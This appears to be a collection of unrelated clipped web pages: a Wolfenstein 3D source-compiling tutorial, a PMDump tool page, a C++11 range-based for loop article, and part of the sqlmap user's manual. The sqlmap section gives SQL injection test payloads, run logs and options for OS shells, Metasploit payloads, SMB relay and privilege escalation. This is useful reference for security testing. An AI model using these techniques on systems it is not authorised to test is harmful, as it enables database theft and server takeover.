Download and start DosBox:

<img src='img/Temp2_1536.png' />

### Mount

Mount the filesystem, one folder for each drive :

[code]

       Z:/> mount c ~/system/c 
       Z:/> mount a ~/system/a
    
      
[/code]

### Install the compiler

Now is time to install Borland C++ 3.1 :

[code]

        Z:\> a:
        A:\> cd BCPP31
        A:\> install
    
     
[/code]

<img src='img/Temp2_1534.png' />

Press enter when you select the source drive \( it should already be A drive
\)

<img src='img/Temp2_1544.png' />

Leave all the default settings and select "Start Installation":

<img src='img/Temp2_1533.png' />

The warnings will tell you that Microsoft windows folder could not be found
but it is not needed anyway, just press Enter.

<img src='img/Temp2_1551.png' />

<img src='img/Temp2_1554.png' />

<img src='img/Temp2_1527.png' />

### Install Wolfenstein 3D source code

We have a system running and a compiler on it: Time to decompress \(again\)
the source code.

[code]

      A:\> c:
      C:\> cd\
      C:\> install
    
    
[/code]

<img src='img/Temp2_1548.png' />

Type 'C'

<img src='img/Temp2_1545.png' />

Keep the default path: `\WOLFSRC`

<img src='img/Temp2_1549.png' />

Y to create the directory.  
  
Installing \!

<img src='img/Temp2_1525.png' />

### Compiling

Start Borland C++ 3.1:

[code]

         
         C:\> cd\
         C:\> cd borlandc
         C:\> cd bin
         C:\> bc.exe
    
      
[/code]

<img src='img/Temp2_1541.png' />

After pressing OK, use the mouse or the shortcuts to Project -> Open Project
`..\..\WOLFSRC\WOLF3D.PRJ`:

<img src='img/Temp2_1553.png' />

Select Options -> Directories and change the value as follow :

[code]

        Include Directories: C:\BORLANDC\INCLUDE
    
        Library Directories: C:\BORLANDC\LIB
    
        Ouptput Directories: OBJ
    
        Source Directories:  C:\WOLFSRC
    
        
[/code]

<img src='img/Temp2_1542.png' />

Let's try to compile: Compile -> Build All

<img src='img/Temp2_1532.png' />

We get an error: "Cannot find executable TASM"

<img src='img/Temp2_1531.png' />

Exit Borland C++, we need to set the PATH:

[code]

         
         C:\> CD ..
         C:\> PATH=C:\BORLANDC\BIN
         C:\> BC.EXE
    
      
[/code]

Try to compile again \(Compile -> Build All\):

<img src='img/Temp2_1528.png' />

Compiling did work but the linking failed: "Unable to find OBJ file" because
the path of SIGNON.OBJ and GAMEPAL.OBJ in wrong in the project: They are
marked in `C:\SOURCE\WOLF\` :

<img src='img/Temp2_1524.png' />

Delete them from the project \(Select and the Projext -> Delete item\). Add
them again via PROJECT -> Add Item... . Add `WOLFSRC\OBJ\SIGNON.OBJ` and
`WOLFSRC\OBJ\GAMEPAL.OBJ`

<img src='img/Temp2_1529.png' />

Try to compile again via \(Compile -> Build All\)

<img src='img/Temp2_1547.png' />

IT WORKED \! But will it run ?

<img src='img/Temp2_1552.png' />

### Getting the assets

Download the shareware version or even better: Purchase as full version on
Wolfenstein 3D.

[code]

        cd ~/system/c
        curl -O http://fabiensanglard.net/Compile_Like_Its_1992/tools/1wolf14.zip
        unzip 1wolf14.zip
    
    
[/code]

Go back to DosBox and install the game to `C:\WOLF3D`.

[code]

      C:\> c:
      C:\> cd \
      C:\> cd 1wolf14
      C:\1WOLF14> install
    
      
[/code]

After installation of the game, copy the .EXE we just compiled to the game
folder,

[code]

        C:\> c:
        C:\> cd wolf3d
        C:\WOLF3D> copy WOLF3D.EXE WOLF3D.OLD
        C:\WOLF3D> copy ../WOLRSRC/WOLF.EXE .
    
      
[/code]

### Running the game

Try to run it:

[code]

        C:\> cd wolf3d
        C:\WOLF3D> copy WOLF3D.EXE WOLF3D.OLD
        C:\WOLF3D> copy ../WOLRSRC/OBJ/WOLF3D.EXE .
        C:\WOLF3D> WOLF3D.EXE
    
    
      
[/code]

Hm, that looks weird.....

<img src='img/Temp2_1537.png' />

Uh...

<img src='img/Temp2_1550.png' />

What ?

<img src='img/Temp2_1526.png' />

I did not remember it like that....

<img src='img/Temp2_1538.png' />

Ok something must be very wrong here \!\!

### What happened ?

It has to do with the production access pipeline and how they are used by the
engine. When Adrian Carmack and Kevin Cloud were done crafting all the graphic
files, they used a tool \(IGRABed\) to pack them together. The output was made
of 3+2 files.

  * VGAHEAD.WL1
  * VGAGRAPH.WL1
  * VGADICT.WL1

The VGAHEAD file is an index containing pointers to the VGAGRAPH where the
data is stored huffman compressed. VGADICT contains the huffman dictionaries
to decompress the data.  
  
The two other files produced:

  * GRE.H
  * GRE.EQU

Are compiled into engine as seen in the following drawing :

<img src='img/Temp2_1540.png' />

Why where the `.H` and `.EQU` files needed ? In short, to allow access by
name. When IGRABed assembled all files it would also create an enum with
matching indices:  
  
**GRE.H**

[code]

                enum{ 
                H_WOLFLOGOPIC
                GETPSYCHEDPIC
                L_GUYPIC
                .
                .
                } graphicnums
    
        
[/code]

**GRE.EQU**

[code]

                
                H_WOLFLOGOPIC  = 0
                GETPSYCHEDPIC  = 1
                L_GUYPIC       = 2
    
        
[/code]

This way when the engine requested a particular asset, it could use a logical
name \(L\_GUYPIC\) instead of a "magic number" \(2\).  
  
That means the engine shipped with the indices of the images in the VGA files
HARD-CODED. Since the assets and codebase evolved after shipping wolf3D
shareware \(with Spears of Destiny\), the newly compiled game indices do not
match the location in the original assets files.

### Running the game \(again\)

Fortunately there is a simple solution to this problem: Somebody regenerated
the VGA assets so they match the indices in the .H and .EQU released with the
source code. Just copy those files \(if you use the shareware assets you will
have to change the file extension from .WL6 to .WL1\).

[code]

      C:\> copy C:\vgafiles\VGADICT.WL6 C:\WOLF3D\VGADICT.WL1
      C:\> copy C:\vgafiles\VGAGRAPH.WL6 C:\WOLF3D\VGAGRAPH.WL1
      C:\> copy C:\vgafiles\VGAHEAD.WL6 C:\WOLF3D\VGAHEAD.WL1
    
    
[/code]

Let's try again:

[code]

      C:\WOLF3D> WOLF3D.EXE
      
    
    
[/code]

It works \!\!

<img src='img/Temp2_1530.png' />

Yet we are are not done \!

### VGA framebuffer and screen aspect ratio

It may not be obvious to people that never saw the original game but the
DosBox image above is not what people saw in 1992. The VGA framebuffer was
320x200 but the CRT monitors had an aspect ratio of 4:3. Which mean the
framebuffer was stretched vertically when sent to the monitor. DosBox has an
option to compensate for that :

[code]

         vi ~/Library/Preferences/DOSBox\ 0.74\ Preferences
      
        [render]
        # frameskip: How many frames DOSBox skips before drawing one.
        # aspect: Do aspect correction, if your output method doesn't support scaling this can slow things down!.
        # scaler: Scaler used to enlarge/enhance low resolution modes.
          # If 'forced' is appended, then the scaler will be used even if the result might not be desired.
          # Possible values: none, normal2x, normal3x, advmame2x, advmame3x, advinterp2x, advinterp3x, ...
    
        frameskip=0
        aspect=**false**
        scaler=normal2x
    
    
    
[/code]

Change that aspect to **true** :  
Try again :

[code]

      C:\WOLF3D> WOLF3D.EXE
      
    
    
[/code]

Finally, IT WORKS \!

<img src='img/Temp2_1535.png' />

<img src='img/Temp2_1543.png' />

<img src='img/Temp2_1546.png' />

### Recommended Readings

<img src='img/Temp2_1539.png' />

## Comments

Fabien Sanglard @2014

# ntsecurity.nu - toolbox

**Created:**| _9/3/2009 9:50:09 AM_  
---|---  
**Updated:**| _9/3/2009 9:50:27 AM_  
**Author:**| __  
**Tags:**| _windows security security tools_  
  

  

<img src='img/Temp2_10503.jpg' width='665' height='43' alt='forest' />

# PMDump

Download v1.2 \(for Windows NT 4.0 / 2000 / XP / 2003 / Vista\)  
  
  

Introduction

  
  
PMDump is a tool that lets you dump the memory contents of a process to a file
without stopping the process.  
  

Usage instructions

  
  
Download the file and run it from a Command Prompt. It will give you the
instructions you need.  
  

Q&A

  
  
Q: When I double-click on the file a window comes up and disappears
immediately. What's wrong?  
  
A: You must run the file from a Command Prompt.  
  
Q: I have a question that is not covered here. Where can I get help?  
  
A: Send me your question. I can't promise that I will have time to answer, but
I'll do my best.

# C++11 range-based for loop

**Created:**| _5/20/2012 4:31:45 PM_  
---|---  
**Updated:**| _5/20/2012 4:31:45 PM_  
**Author:**| __  
**Tags:**| _C++11 loops_  
  

## C++11 range-based `for` loop

On the surface, the new range-based `for` loop may seem like a simple feature,
perhaps the simplest of all the core language changes in C++11. However, like
with most higher-level abstractions, there are quite a few nuances once we
start digging a little bit deeper. So in this post I am going to dig a little
bit deeper with the intent to get a better understanding of this feature as
well as the contexts in which it can and cannot be used.

The range-based `for` loop has the following form:

[code]

    for ( declaration : expression ) statement
    
[/code]

According to the standard, this is equivalent to the the following plain `for`
loop:

[code]

    1   {
    2     auto&& __range = expression;
    3     for (auto __begin = begin-expression,
    4               __end = end-expression;
    5          __begin != __end;
    6          ++__begin)
    7     {
    8       declaration = *__begin;
    9       statement
    10    }
    11  }
    
[/code]

Note that when the standard says _equivalent_ , it means that the resulting
logic is equivalent and not that this is the actual translation; in
particular, the variable names \(e.g., `__range`, `__begin`, etc.\) are for
exposition only and cannot be referred to by the application.

Ok, the equivalent plain `for` loop version looks quite a bit more complicated
compared to the range-based one. Let’s start our examination with the
`__range` initialization \(line 2\). We use automatic type deduction to
determine the type of the range variable based on the initializing expression.
Note also that the resulting variable is made an r-value reference. This is
done to allow us to iterate over temporaries without making any copies and
without imposing additional `const` restrictions. To see where the use of the
r-value reference becomes important, consider this example:

[code]

    std::vector<int> f ();
     
    for (int& x: f ())
      x = 0;
    
[/code]

What can we have for the _expression_? Well, it can be a standard container,
an array, a brace initializer list \(in which case `__range` will be
`std::initializer_list`\), or anything that supports the concept of iteration
by providing suitable `begin()` and `end()` functions. Here are a few
examples:

[code]

    int primes[] = {1, 2, 3, 5, 7, 11};
     
    for (int x: primes)
      ...;
     
    for (int x: {1, 2, 3, 5, 7, 11})
      ...;
     
    template <typename T>
    struct istream_range
    {
      typedef std::istream_iterator<T> iterator_type;
     
      istream_range (std::istream& is): is_ (is) {}
     
      iterator_type begin () const
      {
        return iterator_type (is_);
      }
     
      iterator_type end () const
      {
        return iterator_type ();
      }
     
    private:
      std::istream& is_;
    };
     
    for (int x: istream_range<int> (cin))
      ...;
    
[/code]

The _begin-expression_ and _end-expression_ \(lines 3 and 4\) are determined
as follows:

  * If _expression_ is an array, then _begin-expression_ and _end-expression_ are `__range` and `__range + __bound`, respectively, where `__bound` is the array bound.
  * If _expression_ is of a class type that declares `begin()` and `end()` member functions, then _begin-expression_ and _end-expression_ are `__range.begin()` and `__range.end()`, respectively.
  * Otherwise, _begin-expression_ and _end-expression_ are `begin(__range)` and `end(__range)`, respectively, where the `begin()` and `end()` functions are looked up using the argument-dependent lookup \(ADL\) which also includes the `std` namespace.

With arrays taken care of by the first rule, the second rule makes sure that
all the standard containers as well as all the user-defined ones that follow
the standard sequence interface will work with range-based `for` out of the
box. For example, in ODB \(an ORM for C++\), we have the container-like
`result` class template which allows iteration over the query result. Because
it has the standard sequence interface with a forward iterator, we didn’t have
to do anything extra to make it work with range-based `for`.

The last rule \(the fallback to the free-standing `begin()`and `end()`
functions\) allows us to non-invasively adapt an existing container to the
range-based `for` loop interface.

You may be wondering why did the standard explicitly add the `std` namespace
to ADL in the last rule? That’s a good question since the implementations
provided in `std` simply call the corresponding member functions \(which, if
existed, would have satisfied the second rule\). My guess is that it allows
for a single place where a custom container can be adapted to the standard
interface by specializing `std::begin()` and `std::end()`.

The last interesting bit is the _declaration_ \(line 8\). If we specified the
type explicitly, then things are pretty straightforward. However, we can also
let the compiler deduce the type for us, for example:

[code]

    std::vector<int> v = {1, 2, 3, 5, 7, 11};
    for (auto x: v)
      ...;
    
[/code]

When automatic type deduction is used, generally, the resulting type will be
the type of the `*(__range.begin())` or `*(begin(__range))` expression. When
standard containers are used, however, the type will be `const` element type
when `__range` is `const` and we are forming a reference and just the element
type otherwise. For example:

[code]

    std::vector<int> v = {1, 2, 3, 5, 7, 11};
    const std::vector<int> cv = {1, 2, 3, 5, 7, 11};
     
    for (auto x: v) // x is int
      ...;
     
    for (auto x: cv) // x is int
      ...;
     
    for (auto& x: v) // x is int&
      ...;
     
    for (auto& x: cv) // x is const int&
      ...;
    
[/code]

Another thing to note is the caching of the end iterator which makes the
range-based `for` as efficient as what we could have written ourselves. There
is, however, no provision for handling cases where the container is modified
during iteration, unless iterator stability is guaranteed.

While the range-based `for` loop only supports straight iteration, it is easy
to add support for reverse iteration with a simple adapter. In fact, it is
strange that something like this is not part of the standard library:

[code]

    template <typename T>
    struct reverse_range
    {
    private:
      T& x_;
     
    public:
      reverse_range (T& x): x_ (x) {}
     
      auto begin () const -> decltype (this->x_.rbegin ())
      {
        return x_.rbegin ();
      }
     
      auto end () const -> decltype (this->x_.rend ())
      {
        return x_.rend ();
      }
    };
     
    template <typename T>
    reverse_range<T> reverse_iterate (T& x)
    {
      return reverse_range<T> (x);
    }
     
    std::vector<int> v = {1, 2, 3, 5, 7, 11};
     
    for (auto x: reverse_iterate (v))
      ...;
    
[/code]

# sqlmap user's manual

**Created:**| _5/19/2009 7:32:49 PM_  
---|---  
**Updated:**| _5/19/2009 7:33:08 PM_  
**Author:**| __  
**Tags:**| _security tools sql-injection_  
  

##  
1.2 Scenario

Let's say that you are auditing a web application and found a web page that
accepts dynamic user-provided values on `GET` or `POST` parameters or HTTP
`Cookie` values or HTTP `User-Agent` header value. You now want to test if
these are affected by a SQL injection vulnerability, and if so, exploit them
to retrieve as much information as possible out of the web application's back-
end database management system or even be able to access the underlying
operating system.

Consider that the target url is:

> ``http://192.168.1.121/sqlmap/mysql/get\_int.php?id=1``
Assume that:

> ``http://192.168.1.121/sqlmap/mysql/get\_int.php?id=1+AND+1=1``
is the same page as the original one and:

> ``http://192.168.1.121/sqlmap/mysql/get\_int.php?id=1+AND+1=2``
differs from the original one, it means that you are in front of a SQL
injection vulnerability in the `id` `GET` parameter of the `index.php` web
application page which means that no IDS/IPS, no web application firewall, no
parameters' value sanitization is performed on the server-side.

This is a quite common flaw in dynamic content web applications and it does
not depend upon the back-end database management system nor on the web
application programming language: it is a programmer code's security flaw. The
Open Web Application Security Project rated on 2007 in their OWASP Top Ten
survey this vulnerability as the most common and important web application
vulnerability, second only to Cross-Site Scripting.

Back to the scenario, probably the SQL `SELECT` statemenet into `get_int.php`
has a syntax similar to the following SQL query, in pseudo PHP code:

> ``$query = "SELECT \[column\(s\) name\] FROM \[table name\] WHERE id=" .
> $\_REQUEST\['id'\];``
As you can see, appending any other syntatically valid SQL condition after a
value for `id` such condition will take place when the web application passes
the query to the back-end database management system that executes it, that is
why the condition `id=1 AND 1=1` is valid \(_True_\) and returns the same page
as the original one, with the same content and without showing any SQL error
message.

Moreover, in this simple and easy to inject scenario it would be also possible
to append, not just one or more valid SQL condition\(s\), but also stacked SQL
queries, for instance something like `[...]&id=1; ANOTHER SQL QUERY#` if the
web application technology supports  _stacked queries_ , also known as
_multiple statements_.

Now that you found this SQL injection vulnerable parameter, you can exploit it
by manipulating the `id` parameter value in the HTTP request.

There exist many resources on the Net explaining in depth how to prevent, how
to detect and how to exploit SQL injection vulnerabilities in web application
and it is recommended to read them if you are not familiar with the issue
before going ahead with sqlmap.

Passing the original address,
`http://192.168.1.121/sqlmap/mysql/get_int.php?id=1` to sqlmap, the tool will
automatically:

  * Identify the vulnerable parameter\(s\) \(`id` in this scenario\);
  * Depending on the user's options, sqlmap uses the **blind SQL injection** or the **inband SQL injection** technique as described in the following section to go ahead with the exploiting.

## 1.3 Techniques

sqlmap implements three techniques to exploit a SQL injection vulnerability:

  * **Inferential blind SQL injection** , also known as **boolean based blind SQL injection** : sqlmap appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string containing a `SELECT` sub-statement, or any other SQL statement whose the user want to retrieve the output. For each HTTP response, by making a comparison based upon HTML page content hashes, or string matches, with the original request, the tool determines the output value of the statement character by character. The bisection algorithm implemented in sqlmap to perform this technique is able to fetch each output character with at maximum seven HTTP requests. This is sqlmap default SQL injection technique.
  * **UNION query \(inband\) SQL injection** , also known as **full UNION query SQL injection** : sqlmap appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string starting with a `UNION ALL SELECT`. This techique is useful if the web application page passes the output of the `SELECT`statement to a `for` cycle, or similar, so that each line of the query output is printed on the page content. sqlmap is also able to exploit **partial \(single entry\) UNION query SQL injection** vulnerabilities which occur when the output of the statement is not cycled in a for construct whereas only the first entry output is displayed. This technique is much faster if the target url is affected by because in a single HTTP response it returns the whole query output or a entry per each response within the page content. This SQL injection technique is an alternative to the first one.
  * **Batched \(stacked\) queries support** , also known as **multiple statements support** : sqlmap tests if the web application supports stacked queries then, in case it does support, it appends to the affected parameter in the HTTP request, a semi-colon \(`;`\) followed by the SQL statement to be executed. This technique is useful to run SQL statements other than `SELECT` like, for instance,  _data definition_ or  _data manipulation_ statements possibly leading to file system read and write access and operating system command execution depending on the underlying back-end database management system and the session user privileges.

## 2. Features

Major features implemented in sqlmap include:

## 2.1 Generic features

  * Full support for **MySQL** , **Oracle** , **PostgreSQL** and **Microsoft SQL Server** back-end database management systems. Besides these four database management systems software. sqlmap can also identify Microsoft Access, DB2, Informix, Sybase and Interbase.
  * Full support for three SQL injection techniques: **inferential blind SQL injection** , **UNION query \(inband\) SQL injection** and **batched queries support**. sqlmap can also test for **time based blind SQL injection**.
  * It is possible to provide a single target URL, get the list of targets from Burp proxy requests log file path or WebScarab proxy `conversations/` folder path or get the list of targets by providing sqlmap with a Google dork which queries Google search engine and parses its results page.
  * Automatically tests all provided **GET** parameters, **POST** parameters, HTTP **Cookie** header values and HTTP **User-Agent** header value to find the dynamic ones, which means those that vary the HTTP response page content. On the dynamic ones sqlmap automatically tests and detects the ones affected by SQL injection. Each dynamic parameter is tested for  _numeric_ ,  _single quoted string_ ,  _double quoted string_ and all of these three datatypes with zero to two parenthesis to correctly detect which is the `SELECT` statement syntax to perform further injections with. It is also possible to specify the parameter\(s\) that you want to perform tests and use for injection on.
  * Option to specify the **maximum number of concurrent HTTP requests** to speed up the blind SQL injection algorithms \(multithreading\). It is also possible to specify the number of seconds to wait between each HTTP request.
  * **HTTP `Cookie` header** string support, useful when the web application requires authentication based upon cookies and you have such data or in case you just want to test for and exploit SQL injection on such header.
  * Automatically handle **HTTP `Set-Cookie` header** from target url, re-establishing of the session if it expires. Test and exploit on these values is supported too.
  * **HTTP Basic and Digest authentications** support.
  * **Anonymous HTTP proxy** support to pass by the requests to the target URL that works also with HTTPS requests.
  * Options to fake the **HTTP `Referer` header** value and the **HTTP `User-Agent` header** value specified by user or randomly selected from a text file.
  * Support to increase the **verbosity level of output messages** : there exist **six levels**. The default level is **1** in which information, warnings, errors and tracebacks, if they occur, will be shown.
  * Granularity in the user's options.
  * **Estimated time of arrival** support for each query, updated in real time while fetching the information to give to the user an overview on how long it will take to retrieve the output.
  * Support to save the session \(queries and their output, even if partially retrieved\) in real time while fetching the data on a text file and **resume the injection from this file in a second time**.
  * Support to read options from a configuration INI file rather than specify each time all of the options on the command line. Support also to save command line options on a configuration INI file.
  * Integration with other IT security related open source projects, Metasploit and w3af.
  * **PHP setting `magic_quotes_gpc` bypass** by encoding every query string, between single quotes, with `CHAR`, or similar, database management system function.

## 2.2 Enumeration features

  * **Extensive back-end database management system software and underlying operating system fingerprint** based upon inband error messages, banner parsing,functions output comparison and specific features such as MySQL comment injection. It is also possible to force the back-end database management system name if you already know it. sqlmap is also able to fingerprint the web server operating system, the web application technology and, in some circumstances, the back-end DBMS operating system.
  * Basic web server software and web application technology fingerprint.
  * Support to retrieve on all four back-end database management system **banner** , **current user** , **current database** , check if the current user is a database administrator, enumerate **users** , **users password hashes** , **users privileges** , **databases** , **tables** , **columns** , dump **tables entries** , dump **whole database management system** and run user's **own SQL statement**.

## 2.3 Takeover features

  * Support to **read either text or binary files** from the database server underlying file system when the database software is MySQL, PostgreSQL and Microsoft SQL Server.
  * Support to **execute arbitrary commands** on the database server underlying operating system when the database software is MySQL, PostgreSQL via user-defined function injection and Microsoft SQL Server via `xp_cmdshell()` stored procedure.
  * Support to **establish an out-of-band stateful connection between the attacker box and the database server** underlying operating system via:
    * **Stand-alone payload stager** created by Metasploit and supporting Meterpreter, shell and VNC payloads for both Windows and Linux;
    * **Microsoft SQL Server 2000 and 2005 `sp_replwritetovarbin` stored procedure heap-based buffer overflow** \(MS09-004\) exploitation with multi-stage Metasploit payload support;
    * **SMB reflection attack** with UNC path request from the database server to the attacker box by using the Metasploit `smb_relay` exploit on the attacker box.
  * Support for **database process' user privilege escalation** via Windows Access Tokens kidnapping on MySQL and Microsoft SQL Server via either Meterpreter's`incognito` extension or `Churrasco` stand-alone executable.

## 3. Download and update

**sqlmap 0.7 release candidate 1** version can be downloaded as a source gzip
compressed file or as a source zip compressed file.

sqlmap can be downloaded from its SourceForge File List page. It is available
in various formats:

  * Source gzip compressed operating system independent.
  * Source bzip2 compressed operating system independent.
  * Source zip compressed operating system independent.
  * DEB binary package architecture independent for Debian and any other Debian derivated GNU/Linux distribution.
  * RPM binary package architecture independent for Fedora and any other operating system that can install RPM packages.
  * Portable executable for Windows that **does not require the Python interpreter** to be installed on the operating system.

Whatever way you downloaded sqlmap, run it with `--update` option to update it
to the latest stable version available on its SourceForge File List page.

You can also checkout the source code from the sqlmap Subversion repository to
give a try to the development release:

>
[code]

>     $ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
>  
[/code]

## 4. License and copyright

sqlmap is released under the terms of the General Public License v2. sqlmap is
copyrighted by Bernardo Damele A. G. and Daniele Bellucci.

## 5. Usage

>
[code]

>     $ python sqlmap.py -h
>  
>         sqlmap/0.7rc1
>         by Bernardo Damele A. G. <bernardo.damele@gmail.com>
>  
>     Usage: sqlmap.py [options]
>  
>     Options:
>       --version             show program's version number and exit
>       -h, --help            show this help message and exit
>       -v VERBOSE            Verbosity level: 0-5 (default 1)
>  
>       Target:
>         At least one of these options has to be specified to set the source
> to
>         get target urls from.
>  
>         -u URL, --url=URL   Target url
>         -l LIST             Parse targets from Burp or WebScarab logs
>         -g GOOGLEDORK       Process Google dork results as target urls
>         -c CONFIGFILE       Load options from a configuration INI file
>  
>       Request:
>         These options can be used to specify how to connect to the target
> url.
>  
>         --method=METHOD     HTTP method, GET or POST (default GET)
>         --data=DATA         Data string to be sent through POST
>         --cookie=COOKIE     HTTP Cookie header
>         --referer=REFERER   HTTP Referer header
>         --user-agent=AGENT  HTTP User-Agent header
>         -a USERAGENTSFILE   Load a random HTTP User-Agent header from file
>         --headers=HEADERS   Extra HTTP headers newline separated
>         --auth-type=ATYPE   HTTP Authentication type (value Basic or Digest)
>         --auth-cred=ACRED   HTTP Authentication credentials (value
> name:password)
>         --proxy=PROXY       Use a HTTP proxy to connect to the target url
>         --threads=THREADS   Maximum number of concurrent HTTP requests
> (default 1)
>         --delay=DELAY       Delay in seconds between each HTTP request
>         --timeout=TIMEOUT   Seconds to wait before timeout connection
> (default 30)
>         --retries=RETRIES   Retries when the connection timeouts (default 3)
>  
>       Injection:
>         These options can be used to specify which parameters to test for,
>         provide custom injection payloads and how to parse and compare HTTP
>         responses page content when using the blind SQL injection technique.
>  
>         -p TESTPARAMETER    Testable parameter(s)
>         --dbms=DBMS         Force back-end DBMS to this value
>         --os=OS             Force back-end DBMS operating system to this
> value
>         --prefix=PREFIX     Injection payload prefix string
>         --postfix=POSTFIX   Injection payload postfix string
>         --string=STRING     String to match in page when the query is valid
>         --regexp=REGEXP     Regexp to match in page when the query is valid
>         --excl-str=ESTRING  String to be excluded before comparing page
> contents
>         --excl-reg=EREGEXP  Matches to be excluded before comparing page
> contents
>  
>       Techniques:
>         These options can be used to test for specific SQL injection
> technique
>         or to use one of them to exploit the affected parameter(s) rather
> than
>         using the default blind SQL injection technique.
>  
>         --stacked-test      Test for stacked queries (multiple statements)
> support
>         --time-test         Test for time based blind SQL injection
>         --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
>         --union-test        Test for UNION query (inband) SQL injection
>         --union-tech=UTECH  Technique to test for UNION query SQL injection
>         --union-use         Use the UNION query (inband) SQL injection to
> retrieve
>                             the queries output. No need to go blind
>  
>       Fingerprint:
>         -f, --fingerprint   Perform an extensive DBMS version fingerprint
>  
>       Enumeration:
>         These options can be used to enumerate the back-end database
>         management system information, structure and data contained in the
>         tables. Moreover you can run your own SQL statements.
>  
>         -b, --banner        Retrieve DBMS banner
>         --current-user      Retrieve DBMS current user
>         --current-db        Retrieve DBMS current database
>         --is-dba            Detect if the DBMS current user is DBA
>         --users             Enumerate DBMS users
>         --passwords         Enumerate DBMS users password hashes (opt -U)
>         --privileges        Enumerate DBMS users privileges (opt -U)
>         --dbs               Enumerate DBMS databases
>         --tables            Enumerate DBMS database tables (opt -D)
>         --columns           Enumerate DBMS database table columns (req -T
> opt -D)
>         --dump              Dump DBMS database table entries (req -T, opt
> -D, -C,
>                             --start, --stop)
>         --dump-all          Dump all DBMS databases tables entries
>         -D DB               DBMS database to enumerate
>         -T TBL              DBMS database table to enumerate
>         -C COL              DBMS database table column to enumerate
>         -U USER             DBMS user to enumerate
>         --exclude-sysdbs    Exclude DBMS system databases when enumerating
> tables
>         --start=LIMITSTART  First table entry to dump
>         --stop=LIMITSTOP    Last table entry to dump
>         --sql-query=QUERY   SQL statement to be executed
>         --sql-shell         Prompt for an interactive SQL shell
>  
>       File system access:
>         These options can be used to access the back-end database management
>         system underlying file system.
>  
>         --read-file=RFILE   Read a file from the back-end DBMS file system
>         --write-file=WFILE  Write a local file on the back-end DBMS file
> system
>         --dest-file=DFILE   Back-end DBMS absolute filepath to write to
>  
>       Operating system access:
>         This option can be used to access the back-end database management
>         system underlying operating system.
>  
>         --os-cmd=OSCMD      Execute an operating system command
>         --os-shell          Prompt for an interactive operating system shell
>         --os-pwn            Prompt for an out-of-band shell, meterpreter or
> VNC
>         --os-smbrelay       One click prompt for an OOB shell, meterpreter
> or VNC
>         --os-bof            Stored procedure buffer overflow exploitation
>         --priv-esc          User priv escalation by abusing Windows access
> tokens
>         --msf-path=MSFPATH  Local path where Metasploit Framework 3 is
> installed
>         --tmp-path=TMPPATH  Remote absolute path of temporary files
> directory
>  
>       Miscellaneous:
>         --eta               Display for each output the estimated time of
> arrival
>         --update            Update sqlmap to the latest stable version
>         -s SESSIONFILE      Save and resume all data retrieved on a session
> file
>         --save              Save options on a configuration INI file
>         --batch             Never ask for user input, use the default
> behaviour
>         --cleanup           Clean up the DBMS by sqlmap specific UDF and
> tables
>  
[/code]

## 5.1 Output verbosity

Option: `-v`

Verbose options can be used to set the verbosity level of output messages.
There exist six levels. The default level is **1** in which information,
warnings, errors and tracebacks, if they occur, will be shown. Level **2**
shows also debug messages, level **3** shows also HTTP requests with all HTTP
headers sent, level **4** shows also HTTP responses headers and level **5**
shows also HTTP responses page content.

Example on a **MySQL 5.0.67** target \(verbosity level **1**\):

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1
>  
>     [hh:mm:12] [INFO] testing connection to the target url
>     [hh:mm:12] [INFO] testing if the url is stable, wait a few seconds
>     [hh:mm:14] [INFO] url is stable
>     [hh:mm:14] [INFO] testing if User-Agent parameter 'User-Agent' is
> dynamic
>     [hh:mm:14] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
>     [hh:mm:14] [INFO] testing if GET parameter 'id' is dynamic
>     [hh:mm:14] [INFO] confirming that GET parameter 'id' is dynamic
>     [hh:mm:14] [INFO] GET parameter 'id' is dynamic
>     [hh:mm:14] [INFO] testing sql injection on GET parameter 'id' with 0
> parenthesis
>     [hh:mm:14] [INFO] testing unescaped numeric injection on GET parameter
> 'id'
>     [hh:mm:14] [INFO] confirming unescaped numeric injection on GET
> parameter 'id'
>     [hh:mm:14] [INFO] GET parameter 'id' is unescaped numeric injectable
> with 0 parenthesis
>     [hh:mm:14] [INFO] testing for parenthesis on injectable parameter
>     [hh:mm:14] [INFO] the injectable parameter requires 0 parenthesis
>     [hh:mm:14] [INFO] testing MySQL
>     [hh:mm:14] [INFO] query: CONCAT(CHAR(53), CHAR(53))
>     [hh:mm:14] [INFO] retrieved: 55
>     [hh:mm:14] [INFO] performed 20 queries in 0 seconds
>     [hh:mm:14] [INFO] confirming MySQL
>     [hh:mm:14] [INFO] query: LENGTH(CHAR(53))
>     [hh:mm:14] [INFO] retrieved: 1
>     [hh:mm:14] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:14] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT
> 0, 1
>     [hh:mm:14] [INFO] retrieved: 5
>     [hh:mm:14] [INFO] performed 13 queries in 0 seconds
>     web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS: MySQL >= 5.0.0
>  
[/code]

Example on a **MySQL 5.0.67** target \(verbosity level **2**\):

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 2
>  
>     [hh:mm:03] [DEBUG] initializing the configuration
>     [hh:mm:03] [DEBUG] initializing the knowledge base
>     [hh:mm:03] [DEBUG] cleaning up configuration parameters
>     [hh:mm:03] [DEBUG] setting the HTTP method to GET
>     [hh:mm:03] [DEBUG] creating HTTP requests opener object
>     [hh:mm:03] [DEBUG] parsing XML queries file
>     [hh:mm:03] [INFO] testing connection to the target url
>     [hh:mm:03] [INFO] testing if the url is stable, wait a few seconds
>     [hh:mm:04] [INFO] url is stable
>     [hh:mm:04] [INFO] testing if User-Agent parameter 'User-Agent' is
> dynamic
>     [hh:mm:04] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
>     [hh:mm:04] [INFO] testing if GET parameter 'id' is dynamic
>     [hh:mm:04] [INFO] confirming that GET parameter 'id' is dynamic
>     [hh:mm:04] [INFO] GET parameter 'id' is dynamic
>     [hh:mm:04] [INFO] testing sql injection on GET parameter 'id' with 0
> parenthesis
>     [hh:mm:04] [INFO] testing unescaped numeric injection on GET parameter
> 'id'
>     [hh:mm:04] [INFO] confirming unescaped numeric injection on GET
> parameter 'id'
